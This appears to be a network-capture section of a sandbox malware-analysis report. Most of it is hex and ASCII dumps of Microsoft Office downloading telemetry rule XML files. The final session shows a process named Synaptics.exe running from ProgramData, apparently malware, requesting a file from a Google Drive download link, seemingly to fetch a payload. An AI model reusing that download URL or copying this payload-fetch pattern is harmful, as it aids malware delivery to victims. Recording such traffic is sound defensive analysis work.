2024-12-05 23:16:05 UTC	493	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:05 GMT Content-Type: text/plain Content-Length: 1113512 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Thu, 05 Dec 2024 15:18:56 GMT ETag: "0x8DD154022F476FE" x-ms-request-id: a47715e8-a01e-000d-4c44-47d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231605Z-1746fd949bdl6zq5hC1EWRf3ws000000033000000000695u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-05 23:16:05 UTC	15891	IN	Data Raw: 31 30 30 30 34 32 76 32 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 34 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 55 58 2e 44 65 73 6b 74 6f 70 2e 4f 66 66 69 63 65 54 68 65 6d 65 2e 41 70 70 2e 49 6e 69 74 22 20 41 54 54 3d 22 63 34 33 38 38 63 39 37 37 32 39 37 34 31 33 62 62 30 35 34 62 61 64 31 61 63 66 30 61 64 65 31 2d 63 63 35 38 65 35 33 65 2d 66 35 61 34 2d 34 66 33 37 2d 62 30 64 32 2d 39 61 38 30 37 39 65 33 34 34 32 30 2d 36 38 37 39 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 63 6d 39 79 35 Data Ascii: 100042v2+<?xml version="1.0" encoding="utf-8"?><R Id="100042" V="2" DC="SM" EN="Office.UX.Desktop.OfficeTheme.App.Init" ATT="c4388c977297413bb054bad1acf0ade1-cc58e53e-f5a4-4f37-b0d2-9a8079e34420-6879" DCa="PSU" xmlns=""> <S> <UTS T="1" Id="cm9y5
2024-12-05 23:16:06 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 30 31 31 37 76 30 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 31 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 38 79 6c 6c 66 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 56 20 56 3d 22 43 6c 69 63 6b 22 20 54 3d 22 57 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 Data Ascii: /> </T></R><$!#>100117v0+<?xml version="1.0" encoding="utf-8"?><R Id="100117" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <UTS T="1" Id="8yllf" /> </S> <C T="W" I="0" O="false"> <V V="Click" T="W" /> </C> <C T="U32
2024-12-05 23:16:06 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 33 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 37 38 31 76 31 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 37 38 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 62 67 6f 34 74 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 68 6c 76 79 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 49 33 32 Data Ascii: </C> <T> <S T="2" /> <S T="3" /> </T></R><$!#>10781v1+<?xml version="1.0" encoding="utf-8"?><R Id="10781" V="1" DC="SM" T="Subrule" xmlns=""> <S> <UTS T="1" Id="bgo4t" /> <UTS T="2" Id="bhlvy" /> </S> <C T="I32
2024-12-05 23:16:06 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 31 30 30 30 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: <L> <O T="GT"> <L> <S T="1" F="0" /> </L> <R> <V V="1000" T="U32" /> </R> </O> </L> <R> <O T="LE"> <
2024-12-05 23:16:06 UTC	16384	IN	Data Raw: 20 49 3d 22 32 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 46 6c 79 6f 75 74 56 69 64 65 6f 43 61 6c 6c 56 69 64 65 6f 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 32 36 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 33 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 46 6c 79 6f 75 74 53 61 53 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 34 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 46 6c 79 6f 75 74 4f 76 65 72 66 6c 6f 77 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 Data Ascii: I="22" O="false" N="FlyoutVideoCallVideo"> <C> <S T="26" /> </C> </C> <C T="U32" I="23" O="false" N="FlyoutSaS"> <C> <S T="27" /> </C> </C> <C T="U32" I="24" O="false" N="FlyoutOverflow"> <C> <S T
2024-12-05 23:16:06 UTC	16384	IN	Data Raw: 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 39 30 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 4e 44 42 2e 55 6e 6b 6e 6f 77 6e 2e 43 6f 72 72 75 70 74 69 6f 6e 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 53 3d 22 31 30 30 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 45 74 77 20 54 3d 22 31 22 20 45 3d 22 33 39 35 22 20 47 3d 22 7b 32 61 64 66 38 65 32 33 2d 30 61 66 39 2d Data Ascii: coding="utf-8"?><R Id="10907" V="0" DC="SM" EN="Office.Outlook.Desktop.NDB.Unknown.Corruption" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" S="100" DCa="PSU" xmlns=""> <S> <Etw T="1" E="395" G="{2adf8e23-0af9-
2024-12-05 23:16:06 UTC	16384	IN	Data Raw: 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 33 22 20 49 64 3d 22 62 70 66 79 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 34 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 50 68 6f 74 6f 53 69 7a 65 49 6e 42 79 74 65 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 55 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 Data Ascii: "TelemetryShutdown" /> <UTS T="3" Id="bpfy1" /> <F T="4"> <O T="GT"> <L> <S T="3" F="PhotoSizeInBytes" /> </L> <R> <V V="0" T="U64" /> </R> </O> </F> </S> <C T="U
2024-12-05 23:16:06 UTC	16384	IN	Data Raw: 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 65 76 65 6e 74 49 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 31 33 35 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 74 63 69 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <L> <S T="4" F="eventId" /> </L> <R> <V V="135" T="I32" /> </R> </O> </F> <F T="7"> <O T="EQ"> <L> <S T="5" F="tcid" /> </L> <R> <V
2024-12-05 23:16:06 UTC	16384	IN	Data Raw: 0d 0a 20 20 20 20 3c 46 20 54 3d 22 31 30 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 46 69 6c 65 50 72 6f 74 65 63 74 69 6f 6e 53 74 61 74 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 35 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 4f 66 54 68 72 6f 77 6e 45 78 63 65 70 74 69 6f 6e 22 3e 0d Data Ascii: <F T="10"> <O T="EQ"> <L> <S T="3" F="FileProtectionState" /> </L> <R> <V V="5" T="U32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="CountOfThrownException">
2024-12-05 23:16:06 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 72 65 73 75 6c 74 73 5f 49 73 4e 75 6c 6c 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 Data Ascii: <S T="5" F="results_IsNull" /> </L> <R> <V V="false" T="B" /> </R> </O> </L> <R> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49928	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:06 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:06 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:06 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: b5189c33-801e-008c-34cb-457130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231606Z-1746fd949bd4w8sthC1EWR7004000000031000000000rx0r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:06 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49933	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:06 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:06 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:06 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 9b0204ab-501e-0047-62c1-45ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231606Z-1746fd949bdlqd7fhC1EWR6vt000000003dg00000000vqf1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:06 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49932	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:06 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:06 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:06 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 431871c3-501e-0047-55cc-45ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231606Z-1746fd949bd77mkmhC1EWR5efc00000003pg000000007cvt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:06 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49930	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:06 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:06 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:06 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 16655d81-601e-0084-07c4-456b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231606Z-1746fd949bdmv56chC1EWRypnn00000003kg000000005au2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:06 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49931	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:06 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:06 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:06 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: de914170-201e-0000-68ad-45a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231606Z-1746fd949bdjrnwqhC1EWRpg2800000003hg000000000xga x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:06 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49935	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:06 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:16:07 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:16:06 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-oOyTWZQfKW8O1RGwNVkEpg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, 